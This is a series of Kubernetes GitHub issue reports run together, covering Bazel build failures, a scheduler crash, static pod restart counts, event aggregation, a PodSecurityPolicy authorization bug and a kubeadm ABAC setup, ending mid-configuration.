<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when i execute following commands after api changes, these two lines are always added to openapi/build, however this causes pull-kubernetes-bazel test because there isn't  _output dir in the community tree.\r \r - auto code generation.\r    \r make clean; make generated_files; ./hack/update-all.sh\r    \r \r - diff of openapi/build\r    \r pkg/generated/openapi/build\r  @@ -8,6 +8,8 @@ openapi_library \r       name = \ go_default_library\ ,\r       srcs =  \ doc.go\  ,\r       openapi_targets =  \r  +        \ _output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/runtime\ ,\r  +        \ _output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/watch/versioned\ ,\r    \r \r - pull-kubernetes-bazel test\r    \r w0815 13:08:25.793  info: $test_tmpdir defined: output root default is '/root/.cache/bazel'.\r w0815 13:08:57.120  error: /workspace/k8s.io/kubernetes/pkg/generated/openapi/build:8:1: no such package '_output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/watch/versioned': build file not found on package path and referenced by '//pkg/generated/openapi:zz_generated.openapi'.\r w0815 13:08:57.121  error: /workspace/k8s.io/kubernetes/pkg/generated/openapi/build:8:1: no such package '_output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/runtime': build file not found on package path and referenced by '//pkg/generated/openapi:zz_generated.openapi'.\r w0815 13:08:57.155  error: /workspace/k8s.io/kubernetes/pkg/generated/openapi/build:8:1: no such package '_output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/watch/versioned': build file not found on package path and referenced by '//pkg/generated/openapi:go_default_library'.\r w0815 13:08:57.156  error: /workspace/k8s.io/kubernetes/pkg/generated/openapi/build:8:1: no such package '_output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/runtime': build file not found on package path and referenced by '//pkg/generated/openapi:go_default_library'.\r w0815 13:08:57.346  warning: errors encountered while loading target '//test/integration/defaulttolerationseconds:go_default_test'.\r w0815 13:08:57.350  warning: errors encountered while loading target '//test/integration/apiserver:go_default_test'.\r w0815 13:08:57.354  warning: errors encountered while loading target '//cmd/hyperkube:go_default_library'.\r w0815 13:08:57.354  warning: errors encountered while loading target '//cmd/kube-apiserver/app:go_default_library'.\r w0815 13:08:57.355  warning: errors encountered while loading target '//federation/cmd/federation-apiserver:federation-apiserver'.\r w0815 13:08:57.355  warning: errors encountered while loading target '//test/integration/storageclasses:go_default_test'.\r ... skipping 43 lines ...\r w0815 13:08:57.420  warning: errors encountered while loading target '//test/integration/replicationcontroller:go_default_test'.\r w0815 13:08:57.421  warning: errors encountered while loading target '//test/integration/client:go_default_test'.\r w0815 13:08:57.431  warning: errors encountered while loading target '//test/e2e_node:gen_e2e_node.test'.\r w0815 13:08:57.432  warning: errors encountered while loading target '//test/integration/scheduler:go_default_library'.\r w0815 13:08:57.432  warning: errors encountered while loading target '//test/integration/garbagecollector:go_default_test'.\r w0815 13:08:57.432  warning: errors encountered while loading target '//test/integration/quota:go_default_test'.\r w0815 13:08:57.743  error: /workspace/k8s.io/kubernetes/pkg/generated/openapi/build:8:1: no such package '_output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/watch/versioned': build file not found on package path and referenced by '//pkg/generated/openapi:go_default_library'.\r w0815 13:08:57.763  error: /workspace/k8s.io/kubernetes/pkg/generated/openapi/build:8:1: no such package '_output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/runtime': build file not found on package path and referenced by '//pkg/generated/openapi:zz_generated.openapi'.\r w0815 13:08:57.771  error: /workspace/k8s.io/kubernetes/pkg/generated/openapi/build:8:1: no such package '_output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/watch/versioned': build file not found on package path and referenced by '//pkg/generated/openapi:zz_generated.openapi'.\r w0815 13:08:57.776  error: /workspace/k8s.io/kubernetes/pkg/generated/openapi/build:8:1: no such package '_output/dockerized/go/src/github.com/miekg/coredns/vendor/k8s.io/client-go/1.5/pkg/runtime': build file not found on package path and referenced by '//pkg/generated/openapi:go_default_library'.\r w0815 13:08:58.736  error: evaluation of query \ rdeps set //cmd/... //pkg/... //federation/... //plugin/... //third_party/... //examples/... //test/... //vendor/k8s.io/... , set //staging/src/k8s.io/api/core/v1:zz_generated.deepcopy.go //staging/src/k8s.io/api/core/v1:types_swagger_doc_generated.go //staging/src/k8s.io/api/core/v1:types.go //staging/src/k8s.io/api/core/v1:types.generated.go //staging/src/k8s.io/api/core/v1:generated.proto //staging/src/k8s.io/api/core/v1:generated.pb.go //staging/src/k8s.io/api/apps/v1beta1:types.generated.go //pkg/generated/openapi:build //pkg/api/validation:validation_test.go //pkg/api/validation:validation.go //pkg/api/v1:zz_generated.conversion.go //pkg/api:zz_generated.deepcopy.go //pkg/api:types.go //docs:api-reference/v1/definitions.html //docs:api-reference/apps/v1beta2/definitions.html //docs:api-reference/apps/v1beta1/definitions.html //api/swagger-spec:v1.json //api/swagger-spec:apps_v1beta2.json //api/swagger-spec:apps_v1beta1.json //api/openapi-spec:swagger.json  \  failed: errors were encountered while computing transitive closure.\r w0815 13:08:58.808  warning: --keep_going specified, ignoring errors.  results may be inaccurate.\r w0815 13:08:59.056  run:  '/workspace/./test-infra/jenkins/../scenarios/../images/pull_kubernetes_bazel/coalesce.py', \r i0815 13:08:59.094  build passed, tests failed or timed out\r e0815 13:08:59.094  command failed\r i0815 13:08:59.094  process 469 exited with code 3 after 0.8m\r e0815 13:08:59.095  fail: pull-kubernetes-bazel\r i0815 13:08:59.095  upload result and artifacts...\r i0815 13:08:59.095  gubernator results at https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50457/pull-kubernetes-bazel/35890\r i0815 13:08:59.095  call:  gsutil ls gs://kubernetes-jenkins/pr-logs/pull/50457/pull-kubernetes-bazel/35890/artifacts\r w0815 13:08:59.975  commandexception: one or more urls matched no objects.\r e0815 13:09:00.275  command failed\r    \r \r   what you expected to happen  :\r \r pull-kubernetes-bazel test succeed properly\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. change api in types.go\r 1. make clean; make generated_files; ./hack/update-all.sh\r 1. run pull-kubernetes-bazel test of community ci\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - others: hack/update-all.sh\r

>  \r in 1.8 release, we introduced device plugin feature. the e2e tests we added to verify this feature is based on a poc device plugin implementation for cos-based nvidia gpu devices. in 1.9, we want to add a device-plugin e2e test that is os and device independent. i.e., using a fake device plugin to verify kubelet device plugin feature.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when deleting a static pod created from manifests in --pod-manifest-path it's restart count does not reset\r \r   what you expected to happen  :\r pod to come up with restart count 0\r \r   how to reproduce it  as minimally and precisely as possible   :\r    text\r ➜  ~ kubectl get po --namespace kube-system | grep apilb\r kube-apilb-10.1.201.101                         2/2       running   12         2m\r kube-apilb-10.1.201.102                         2/2       running   10         11d\r \r ➜  ~ kubectl delete po --namespace kube-system kube-apilb-10.1.201.101 && kubectl get po --namespace kube-system --watch | grep apilb\r pod \ kube-apilb-10.1.201.101\  deleted\r name                                            ready     status    restarts   age\r kube-apilb-10.1.201.101               0/2           pending    0                   0s\r kube-apilb-10.1.201.101               2/2           running    12                  3s\r    \r \r   anything else we need to know?  :\r i successfully reseted the restart count on one of these pods by doing the following:\r - stop kubelet on affected node\r - delete pod via kubectl with --force\r - delete related containers from docker on host where kubelet is stopped\r - restart kubelet\r \r   environment  :\r kubernetes version  use  kubectl version  :\r    text\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :  on-prem \r - os  e.g. from /etc/os-release :  container linux by coreos stable  1520.6.0  \r - kernel  e.g.  uname -a  :  linux kubemaster01 4.13.5-coreos-r2  1 smp thu oct 12 03:21:09 utc 2017 x86_64 common kvm processor genuineintel gnu/linux \r - install tools:  manual deploy from own repo \r - others:\r

>  \r every other kubernetes release the metrics provided by cadvisor seem to break. this not only just happened again in  55397 but also earlier in  48483,  33192 and  25131.\r \r these issue usually not only end up in the stable releases but even on cloud providers like gke where these are sometimes the only supported versions.\r \r i think this should be prevented by improving the cadvisor integration tests  if there are any yet . they should at least check that cadvisor successfully exposes plausible metrics for mem, cpu, disk io, filesystem and networking.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r   what happened  :\r when i test custom scheduler, but my pods status is still pending.\r https://kubernetes.io/docs/tasks/administer-cluster/configure-multiple-schedulers/\r \r i made a new custom scheduler and 3 test pods like k8s sample yaml\r but, pods using 'default-scheduler' works well, but pods using 'my-scheduler' doesn't work.\r \r i don't know how to fix this problem.\r please help me.\r \r   what you expected to happen  :\r pods is made by my-scheduler will be 'running'\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. kubectl apply -f my-schudler.yaml\r name                                     ready     status    restarts   age\r kube-system   my-scheduler-656856794f-s7hdw                   1/1       running       0          18m\r \r 2. when i setup ks8s using kubeadm, authorization option set to node, rbac, so i modified clusterrole like this\r kubectl edit clusterrole system:kube-scheduler\r rules:\r - apigroups:\r   - \ \ \r   resources:\r   - events\r   verbs:\r   - create\r   - patch\r   - update\r - apigroups:\r   - \ \ \r   resources:\r   - endpoints\r   verbs:\r   - create\r - apigroups:\r   - \ \ \r   resourcenames:\r   - kube-scheduler\r   - my-scheduler\r   resources:\r   - endpoints\r   verbs:\r   - delete\r   - get\r   - patch\r   - update\r - apigroups:\r   - \ \ \r   resources:\r \r 3. kubectl apply -f no.yaml\r kubectl apply -f default.yaml\r kubectl apply -f my-scheduler.yaml\r name                                     ready     status    restarts   age\r annotation-default-scheduler             1/1       running   0          17m\r annotation-second-scheduler              0/1       pending   0          17m\r no-annotation                            1/1       running   0          18m\r sticky-node-scheduler-8447869685-9jl9q   1/1       running   0          26m\r \r   anything else we need to know?  :\r my k8s was made by kubeadm,\r and all options are default.\r and i use weave net plugin.\r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r \r - kernel  e.g.  uname -a  :\r linux localhost.localdomain 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubernetes custom schedule\r \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r 

@calebamiles looks like you've merged https://github.com/kubernetes/kubernetes/commit/c007efcceb0516e8ba2e4ecb8715c01bd07e98e2 into master branch? that seems have broken http://k8s-testgrid.appspot.com/google-unit verify-master and http://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-verify\r \r can you take a look?\r \r / /assign @calebamiles

current csi e2e test has some issues which prevent it to run successfully the a local cluster.\r   /assign @sbezverk

 \r   what happened  :\r \r when upgrading to 1.10.1 scheduler, it crashes continuously with the following trace:\r \r    \r $  kubectl logs -n kube-system kube-scheduler-sjd-bigdell\r sigill: illegal instruction\r pc=0x619d87 m=0 sigcode=2\r \r goroutine 1  running, locked to thread :\r k8s.io/kubernetes/vendor/github.com/golang/glog.verbose.infof 0x13e5e00, 0x16516fb, 0x21, 0xc42063be08, 0x1, 0x1 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1043 +0x7 fp=0xc42063bdc0 sp=0xc42063bdb8 pc=0x619d87\r k8s.io/kubernetes/pkg/credentialprovider.registercredentialprovider 0x1637aae, 0xa, 0x2035fa0, 0xc42038eb80 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/credentialprovider/plugins.go:41 +0x150 fp=0xc42063be48 sp=0xc42063bdc0 pc=0x1298940\r k8s.io/kubernetes/pkg/credentialprovider.init.0  \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/credentialprovider/provider.go:58 +0xa9 fp=0xc42063be88 sp=0xc42063be48 pc=0x1298b29\r k8s.io/kubernetes/pkg/credentialprovider.init  \r \t<autogenerated>:1 +0x272 fp=0xc42063bed0 sp=0xc42063be88 pc=0x1299272\r k8s.io/kubernetes/pkg/kubectl.init  \r \t<autogenerated>:1 +0x1d1 fp=0xc42063bf18 sp=0xc42063bed0 pc=0x1299a51\r k8s.io/kubernetes/pkg/kubectl/cmd/util.init  \r \t<autogenerated>:1 +0xe1 fp=0xc42063bf60 sp=0xc42063bf18 pc=0x12a4d81\r k8s.io/kubernetes/cmd/kube-scheduler/app.init  \r \t<autogenerated>:1 +0x101 fp=0xc42063bf70 sp=0xc42063bf60 pc=0x12def81\r main.init  \r \t<autogenerated>:1 +0x6c fp=0xc42063bf80 sp=0xc42063bf70 pc=0x12e01bc\r runtime.main  \r \t/usr/local/go/src/runtime/proc.go:183 +0x1de fp=0xc42063bfe0 sp=0xc42063bf80 pc=0x42d6ce\r runtime.goexit  \r \t/usr/local/go/src/runtime/asm_amd64.s:2337 +0x1 fp=0xc42063bfe8 sp=0xc42063bfe0 pc=0x45d0a1\r \r goroutine 5  chan receive :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x21d5560 \r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x9f\r created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.0\r \t/workspace/anago-v1.10.1-beta.0.68+d4ab47518836c7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x203\r \r goroutine 36  syscall :\r os/signal.signal_recv 0xc420016b40 \r \t/usr/local/go/src/runtime/sigqueue.go:131 +0xa6\r os/signal.loop  \r \t/usr/local/go/src/os/signal/signal_unix.go:22 +0x22\r created by os/signal.init.0\r \t/usr/local/go/src/os/signal/signal_unix.go:28 +0x41\r \r rax    0xc42063be08\r rbx    0x0\r rcx    0xc4204acc10\r rdx    0x0\r rdi    0x1198\r rsi    0x10\r rbp    0xc42063be38\r rsp    0xc42063bdb8\r r8     0xc41ffda9a0\r r9     0x4\r r10    0x204a400\r r11    0x8\r r12    0x0\r r13    0xf4\r r14    0x74\r r15    0x8\r rip    0x619d87\r rflags 0x10202\r cs     0x33\r fs     0x0\r gs     0x0\r    \r \r pods shows that it is in crash loop:\r \r    \r $ kubectl get --all-namespaces pods\r namespace     name                                  ready     status             restarts   age\r kube-system   etcd-sjd-bigdell                      1/1       running            0          15m\r kube-system   kube-apiserver-sjd-bigdell            1/1       running            0          15m\r kube-system   kube-controller-manager-sjd-bigdell   1/1       running            0          15m\r kube-system   kube-dns-86f4d74b45-bj9kh             3/3       running            0          16m\r kube-system   kube-proxy-4gsxj                      1/1       running            0          16m\r kube-system   kube-scheduler-sjd-bigdell            0/1       crashloopbackoff   4          3m\r kube-system   weave-net-w7dxm                       2/2       running            0          9m\r    \r \r   what you expected to happen  :\r \r should not crash.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use kubeadm to upgrade scheduler kubelet to 1.10.1.\r \r you can also edit /etc/kubernetes/manifests/kube-scheduler.yaml to point at k8s.gcr.io/kube-scheduler-amd64:v1.10.1.\r \r   anything else we need to know?  :\r \r i am using the containerd runtime. possibly an issue there.\r \r downgrading to 1.10.0 image works fine.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: laptop\r - os  e.g. from /etc/os-release :\r \r    \r name=\ ubuntu\ \r version=\ 17.10  artful aardvark \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 17.10\ \r version_id=\ 17.10\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=artful\r ubuntu_codename=artful\r    \r \r - kernel  e.g.  uname -a  :\r \r    \r $ uname -a \r linux sjd-bigdell 4.13.0-38-generic  43-ubuntu smp wed mar 14 15:20:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools: \r    \r $  kubeadm version \r kubeadm version: &version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - others:\r

https://prow.k8s.io/view/gcs/kubernetes-jenkins/pr-logs/pull/76924/pull-kubernetes-bazel-test-rbe/1121234523384713218\r \r    \r fail: //pkg/kubelet/oom:go_default_test  see /bazel-scratch/.cache/bazel/_bazel_root/7989b31489f31aee54f32688da2f0120/execroot/__main__/bazel-out/k8-fastbuild/testlogs/pkg/kubelet/oom/go_default_test/test.log \r info: from testing //pkg/kubelet/oom:go_default_test:\r ==================== test output for //pkg/kubelet/oom:go_default_test:\r --- fail: testbasic  0.00s \r oom_watcher_linux_test.go:32:\r error trace:\toom_watcher_linux_test.go:32\r error: received unexpected error:\r open /dev/kmsg: no such file or directory\r test: testbasic\r fail\r    \r \r https://github.com/kubernetes/kubernetes/blob/a0d82783465019d36be3429552e6613270f9d1e9/vendor/github.com/euank/go-kmsg-parser/kmsgparser/kmsgparser.go l59-l60\r \r https://github.com/kubernetes/kubernetes/blob/a0d82783465019d36be3429552e6613270f9d1e9/vendor/github.com/google/cadvisor/utils/oomparser/oomparser.go l130-l133\r \r https://github.com/kubernetes/kubernetes/blob/a0d82783465019d36be3429552e6613270f9d1e9/pkg/kubelet/oom/oom_watcher_linux.go l47-l48\r \r https://github.com/kubernetes/kubernetes/blob/a0d82783465019d36be3429552e6613270f9d1e9/pkg/kubelet/oom/oom_watcher_linux_test.go l31-l32\r \r @kubernetes/sig-testing \r /assign

gpu support: 1. scheduler support  most important  2. kubelet looks in some flag-configured directory, and sees a file or files that tell it \ you have this many of resource example.com/mygpu\  3. scheduler feasibility check that uses any type of resource that any pod or node mentions wanting/having. 4. kubelet support for logical devices, so that containers only see their own gpus.  less important, but nice to have     1. a way to tell kubelet that this set of phsical devices  /dev/nv0  ...  /dev/nv3  are fungible, and map to resource  example.com/mygpu .    2. kubelet code to allocate devices, and map them into pods 5. scheduler support for defragging the resource  once we have a rescheduler .  @thockin @davidopp  requested by @therc

as of now kubelet inlines log files from probes.  25681 inlines logs from hooks. inlining such logs makes it difficult to identify them and also pollutes kubelet logs. ideally, these logs should be either inlined into container logs. that is not possible today with the default docker logging driver. an alternative is to store hooks and prober logs into separate container logs that the kubelet can manage.

i added a new rule to my ingress that added another service, but had not realized i needed to make my service a nodeport instead of a clusterip. the  kubectl replace  took the update, and the rule seemed to be added correctly when i did a describe but the backend never actually got put in place.  it would be nice for the replace to either error out when the service is the wrong type or for it to say that the backend was  unhealthy  instead of it being left out of the  kubectl describe  and similar.   i had previously opened up all of the possible relevant ports to my ingresses.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/1086/  failed:  k8s.io  esipp  slow  should handle updates to source ip annotation  feature:externaltrafficlocalonly  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1478 dec  8 22:54:15.988: kube-proxy still exposing health check on node gke-bootstrap-e2e-default-pool-a820fef6-a58m:30616, after esipp was turned off. last err <nil>, last body okokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokok /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1433

is it intentional that the disruption controller isn't aware of statefulsets? they appear to work together when the budget is configured with a static minimum number of pods, but not when configured with a percentage because the controller  finders  don't include statefulsets:\r https://github.com/kubernetes/kubernetes/blob/f49442d4331052c3141c47a3f9701da7082ebcff/pkg/controller/disruption/disruption.go l204\r https://github.com/kubernetes/kubernetes/blob/f49442d4331052c3141c47a3f9701da7082ebcff/pkg/controller/disruption/disruption.go l557\r \r the events for the disruption budget resource show the error message from the second link  \ failed to calculate the number of expected pods: asked for percentage, but found no controllers for pod \ cockroachdb-0\  , leaving it with no idea how many pods are expected.\r \r this is with client and server both at v1.5.1.\r \r @foxish @erictune

forked from the discussion in  35747. \r the pr adding the deprecation warning for the flag:  40171\r \r according to the  deprecation policy  https://kubernetes.io/docs/deprecation-policy/ , if we add the deprecation warning in 1.6, the flag can be removed either after 1 release  1.7  or 6 months  oct. 2017 , whichever is longer. keeping this issue open until we remove it.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?   : is:issue is:open in:title event \r \r original report:  45818\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r \r latest master, although same bug is in released versions\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.3.625+b353700bfc1ee9-dirty\ , gitcommit:\ b353700bfc1ee95b8f9f827c9cc818cf2ab3f943\ , gittreestate:\ dirty\ , builddate:\ 2017-05-17t15:22:37z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.3.625+b353700bfc1ee9-dirty\ , gitcommit:\ b353700bfc1ee95b8f9f827c9cc818cf2ab3f943\ , gittreestate:\ dirty\ , builddate:\ 2017-05-17t15:16:24z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : local, with  hack/local-up-cluster.sh \r -   os    e.g. from /etc/os-release : ubuntu 17.04\r -   kernel    e.g.  uname -a  : 4.10.0-20-generic\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r events are currently correlated in a strange way: if too many identical events are produced, a  new  event is created with a message of   events with common reason combined  \r \r from the  design proposal  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/event_compression.md , this was intentional:\r \r > if the eventaggregator observes a similar event produced 10 times in a 10 minute window, it drops the event that was provided as input and creates a new event that differs only on the message. the message denotes that this event is used to group similar events that matched on reason. this aggregated event is then used in the event processing sequence.\r \r it's possible that event ttl's weren't considered when this decision was made, because the original event may drop off and expire, leaving the new event to be continually bumped/modified with its  count  incrementing.  this isn't just a temporary scenario, the event that keeps getting bumped can effectively stay around forever because it keeps getting updated, whereas the original event that contains the actual message text will eventually expire.\r \r this can be easily reproduced by launching kube-apiserver with a low ttl  like  --event-ttl=1m0s   and launching a crashing pod.  the real reason for the crashing eventually goes away:\r \r    \r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t\t--------\t------\t\t-------\r ...\r   59s\t\t59s\t\t1\tkubelet, 127.0.0.1\t\t\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ lifecycler\  with rpc error: code = 2 desc = failed to start container \ 4669ec0a8e1fa478466466b5b161665204472293991aa47b36604f480bd7e16d\ : error response from daemon: {\ message\ :\ oci runtime error: container_linux.go:247: starting container process caused \\\ exec: \\\\\\\ doesnotexist\\\\\\\ : executable file not found in $path\\\ \ \ }: \ start container failed\ \r    \r \r turns into:\r \r    \r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t\t--------\t------\t\t-------\r ...\r   36m\t\t4s\t\t279\tkubelet, 127.0.0.1\t\t\t\t\twarning\t\tfailedsync\t events with common reason combined \r    \r \r with the original event gone.\r \r the original pr that brought that behavior in is here: https://github.com/kubernetes/kubernetes/pull/16798\r \r question i have for @derekwaynecarr or anyone else who can shed light here: why is a new event created as an aggregation point, rather than just bumping the count and updating the message of the original one?  i don't want to pull too far on this thread here because i think there's some broad agreement that events need an overhaul, but i was wondering if you had thoughts here.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   what happened  :\r user group/service account with rolebinding to clusterrole  cluster-admin  in a namespace can use any psp.\r \r   what you expected to happen  :\r \r user group/service account with rolebinding to clusterrole  cluster-admin  in a namespace shall not use any psp if there is no explicit clusterrolebinding/rolebinding that refer to clusterrole which defines to use the privileged psp.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a psp with  privileged  field set to  true . and create a clusterrole to use that psp.\r 2. create namespace  demo .\r 3. create rolebinding which refers to clusterrole  cluster-admin  in namespace  demo .\r 4. create a pod with  default  service account in namespace  demo . enable  privileged  securitycontext. there is no explicit clusterrolebinding/rolebinding that refer to clusterrole which defines to use the privileged psp.\r \r the pod still can be launched.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.2\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r i attempted to create a cluster using the  kubeadm  tool with abac authorisation enabled using the below configuration files.\r \r ~/config.yaml\r    yaml\r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r networking:\r   podsubnet: 10.244.0.0/16\r authorizationmodes:\r - node\r - rbac\r - abac\r apiserverextraargs:\r   basic-auth-file: /etc/kubernetes/basic_auth.csv\r   authorization-policy-file: /etc/kubernetes/abac_policy.json\r    \r \r ~/basic_auth.csv\r    csv\r admin,admin,1,\ system:masters\ \r    \r \r ~/abac_policy.json\r    json\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ :\  \ , \ nonresourcepath\ : \  \ , \ 